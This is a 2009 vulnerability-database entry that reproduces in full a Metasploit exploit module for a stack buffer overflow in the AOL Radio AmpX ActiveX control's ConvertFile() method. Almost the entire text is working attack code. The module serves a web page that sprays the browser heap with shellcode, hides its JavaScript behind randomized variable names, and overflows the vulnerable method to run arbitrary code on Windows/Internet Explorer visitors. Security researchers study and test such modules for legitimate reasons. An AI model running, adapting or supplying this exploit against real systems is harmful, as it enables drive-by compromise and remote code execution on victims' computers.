AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by rgodType
packetstorm🔗 packetstormsecurity.com👁 19 Views
AOL Radio AmpX ActiveX Control Buffer Overflo
`require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX   
class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.  
By setting an overly long value to 'ConvertFile()', an attacker can overrun   
a buffer and execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [   
'rgod <rgod[at]autistici.org>', # Original exploit [see References]  
'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation  
],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'OSVDB', '54706' ],  
[ 'BID', '35028' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/8733' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x09\x0a\x0d'\\",   
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ]   
],  
'DisclosureDate' => 'May 19 2009',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Setup exploit buffers  
nops = Rex::Text.to_unescape([target.ret].pack('V'))  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
blocksize = 0x40000  
fillto = 500   
offset = target['Offset']  
  
# Randomize the javascript variable names  
ampx = rand_text_alpha(rand(100) + 1)  
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_headersize = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_block = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
j_ret = rand_text_alpha(rand(100) + 1)  
j_eax = rand_text_alpha(rand(100) + 1)  
j_bof = rand_text_alpha(rand(100) + 1)  
  
# Build out the message  
content = %Q|  
<html>  
<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>  
<script language='javascript'>  
#{j_shellcode}=unescape('#{shellcode}');  
#{j_nops}=unescape('#{nops}');  
#{j_headersize}=20;  
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;  
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};  
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});  
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});  
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};  
#{j_memory}=new Array();  
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};  
#{j_eax}='';  
for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF');  
#{j_ret}='';  
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');  
#{j_bof}=#{j_eax}+#{j_ret};  
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);  
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);  
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);  
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);  
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`
26 Nov 2009 00:00Current
0.8Low risk
Vulners AI Score0.8